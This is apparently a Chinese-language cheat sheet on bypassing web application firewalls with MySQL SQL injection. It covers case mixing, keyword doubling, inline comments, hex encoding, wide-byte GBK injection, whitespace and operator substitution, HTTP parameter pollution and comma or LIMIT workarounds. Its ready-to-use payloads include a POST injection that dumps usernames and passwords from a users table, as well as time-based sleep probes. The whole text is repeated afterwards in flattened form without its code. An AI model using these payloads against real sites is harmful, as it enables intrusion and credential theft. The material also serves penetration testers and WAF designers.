MySQL注入绕过WAF的基础方式
字数 2228 2025-08-15 21:34:01

MySQL注入绕过WAF的基础方式

1. 大小写绕过

当WAF过滤时没有匹配大小写的情况时,可以使用大小写混合的方式绕过:

SeLECt * from table;

2. 双写绕过

当WAF将禁止的字符直接删除时(如使用preg_replace()str_replace()将关键词替换为空字符串),可以使用双写嵌套绕过:

  • oroorr
  • andaandnd
  • selectseselectlect
  • unionuniunionon

原理:删除一个关键字后,剩下的部分可以重新组合成完整的关键字。

3. 内联注释绕过

MySQL特有的内联注释语法:

/*! MySQL特有的语法 */

示例:

SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...

添加版本号限制(仅当MySQL版本≥指定版本时执行):

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/

绕过WAF示例:

select bbb from table1 where aaa='' union /*! select database()*/;

注意:不能将关键词用注释分开(某些老版本可能支持):

select bbb from table1 where balabala='' union se/*!lect database()*/;

4. 16进制绕过

当表名或特定字符被过滤时,可使用16进制编码:

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273为"users"的16进制编码)

5. 编码绕过技术

宽字节注入

利用条件

  1. 查询参数被单引号包围
  2. 传入的单引号被转义符\转义(使用addslashes()mysql_real_escape_string()等函数)
  3. 数据库编码为GBK

利用方式

id=-1%DF' union select 1,user(),3%23

原理:单引号'被转义为\'(即%5c%27),添加%df构成%df%5c%27,在GBK编码中%df%5c是汉字"連",使单引号逃逸。

POST请求示例:

uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2

Latin1编码绕过

MySQL表默认编码为latin1,当设置为utf8时:

username=admin%c2

存储至表中变为"admin"(%c2-%ef之间的任意字符均可)

6. 字符替代技术

逻辑运算符替代

  • and&&
  • or||

注意:&需URL编码为%26

空格替代

可使用以下字符替代空格:

  • %09 - TAB键(水平)
  • %0a - 新建一行
  • %0c - 新的一页
  • %0d - return功能
  • %0b - TAB键(垂直)
  • %a0 - 空格
  • + - 加号

比较运算符替代

  • =likeregexpin

7. HTTP参数污染(HPP)

不同Web服务器对重复参数的处理:

HTTP后端 解析结果 示例
ASP.NET/IIS 拼接所有值 par1=val1,val2
ASP/IIS 拼接所有值 par1=val1,val2
PHP/Apache 取最后一个值 par1=val2
PHP/Zeus 取最后一个值 par1=val2
JSP/Servlet/Tomcat 取第一个值 par1=val1

HPP攻击示例

http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 --

8. 逗号被过滤的绕过

使用JOIN替代

-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

LIMIT替代

limit 2,1  limit 1 offset 2

SUBSTR替代

substr(database(),5,1)  substr(database() from 5 for 1)

substr(database() from 5)

IF/CASE替代

select if(database()='xxx',sleep(3),1)

SELECT 1 and DATABASE()='security' and sleep(3)

select case when database()='xxx' then sleep(5) else 0 end

9. LIMIT被过滤的绕过

select user from users group by user_id having user_id=1

10. 逻辑运算符被过滤的替代

可使用以下运算符替代:

  • !^~
  • notxor

11. 常用函数替代

字符串截取/拼接函数

函数 说明
SUBSTR(str,N_start,N_length) 字符串截取
SUBSTRING() 多种格式
RIGHT(str,len) 从右边截取
LEFT(str,len) 从左边截取
RPAD(str,len,padstr) 右方补齐
LPAD(str,len,padstr) 左方补齐
MID(str,pos,len) 同SUBSTRING
INSERT(str,pos,len,newstr) 替换字符串
CONCAT(str1,str2…) 合并字符串
GROUP_CONCAT(…) 分组连接值
MAKE_SET(bits,str1,str2,…) 根据参数1返回其他参数值

其他函数替代

函数/语句 说明
LENGTH(str) 返回字符串长度
PI() 返回π值
REGEXP "statement" 正则匹配
LIKE "statement" 模式匹配
RLIKE "statement" 同REGEXP
LOCATE(substr,str,[pos]) 返回子串位置
POSITION(substr IN str) 同LOCATE
LOWER(str)/LCASE(str) 转小写
UPPER(str)/UCASE(str) 转大写
ELT(N,str1,str2,…) 根据N返回参数
NULLIF(expr1,expr2) 比较返回结果
CHARSET(str) 返回字符集
DECODE(crypt_str,pass_str) 解密字符串

数字替代

使用truefalsepi()!floor~ceil()version()等数学运算函数组合替代。

MySQL注入绕过WAF的基础方式 1. 大小写绕过 当WAF过滤时没有匹配大小写的情况时,可以使用大小写混合的方式绕过: 2. 双写绕过 当WAF将禁止的字符直接删除时(如使用 preg_replace() 或 str_replace() 将关键词替换为空字符串),可以使用双写嵌套绕过: or → oorr and → aandnd select → seselectlect union → uniunionon 原理:删除一个关键字后,剩下的部分可以重新组合成完整的关键字。 3. 内联注释绕过 MySQL特有的内联注释语法: 示例: 添加版本号限制(仅当MySQL版本≥指定版本时执行): 绕过WAF示例: 注意:不能将关键词用注释分开(某些老版本可能支持): 4. 16进制绕过 当表名或特定字符被过滤时,可使用16进制编码: ( 0x7573657273 为"users"的16进制编码) 5. 编码绕过技术 宽字节注入 利用条件 : 查询参数被单引号包围 传入的单引号被转义符 \ 转义(使用 addslashes() 、 mysql_real_escape_string() 等函数) 数据库编码为GBK 利用方式 : 原理:单引号 ' 被转义为 \' (即 %5c%27 ),添加 %df 构成 %df%5c%27 ,在GBK编码中 %df%5c 是汉字"連",使单引号逃逸。 POST请求示例: Latin1编码绕过 MySQL表默认编码为latin1,当设置为utf8时: 存储至表中变为"admin"(%c2-%ef之间的任意字符均可) 6. 字符替代技术 逻辑运算符替代 and → && or → || 注意: & 需URL编码为 %26 空格替代 可使用以下字符替代空格: %09 - TAB键(水平) %0a - 新建一行 %0c - 新的一页 %0d - return功能 %0b - TAB键(垂直) %a0 - 空格 + - 加号 比较运算符替代 = → like 、 regexp 、 in 7. HTTP参数污染(HPP) 不同Web服务器对重复参数的处理: | HTTP后端 | 解析结果 | 示例 | |----------|----------|------| | ASP.NET/IIS | 拼接所有值 | par1=val1,val2 | | ASP/IIS | 拼接所有值 | par1=val1,val2 | | PHP/Apache | 取最后一个值 | par1=val2 | | PHP/Zeus | 取最后一个值 | par1=val2 | | JSP/Servlet/Tomcat | 取第一个值 | par1=val1 | HPP攻击示例 : 8. 逗号被过滤的绕过 使用JOIN替代 LIMIT替代 SUBSTR替代 IF/CASE替代 9. LIMIT被过滤的绕过 10. 逻辑运算符被过滤的替代 可使用以下运算符替代: ! 、 ^ 、 ~ not 、 xor 11. 常用函数替代 字符串截取/拼接函数 | 函数 | 说明 | |------|------| | SUBSTR(str,N_ start,N_ length) | 字符串截取 | | SUBSTRING() | 多种格式 | | RIGHT(str,len) | 从右边截取 | | LEFT(str,len) | 从左边截取 | | RPAD(str,len,padstr) | 右方补齐 | | LPAD(str,len,padstr) | 左方补齐 | | MID(str,pos,len) | 同SUBSTRING | | INSERT(str,pos,len,newstr) | 替换字符串 | | CONCAT(str1,str2…) | 合并字符串 | | GROUP_ CONCAT(…) | 分组连接值 | | MAKE_ SET(bits,str1,str2,…) | 根据参数1返回其他参数值 | 其他函数替代 | 函数/语句 | 说明 | |----------|------| | LENGTH(str) | 返回字符串长度 | | PI() | 返回π值 | | REGEXP "statement" | 正则匹配 | | LIKE "statement" | 模式匹配 | | RLIKE "statement" | 同REGEXP | | LOCATE(substr,str,[ pos ]) | 返回子串位置 | | POSITION(substr IN str) | 同LOCATE | | LOWER(str)/LCASE(str) | 转小写 | | UPPER(str)/UCASE(str) | 转大写 | | ELT(N,str1,str2,…) | 根据N返回参数 | | NULLIF(expr1,expr2) | 比较返回结果 | | CHARSET(str) | 返回字符集 | | DECODE(crypt_ str,pass_ str) | 解密字符串 | 数字替代 使用 true 、 false 、 pi() 、 ! 、 floor 、 ~ 、 ceil() 、 version() 等数学运算函数组合替代。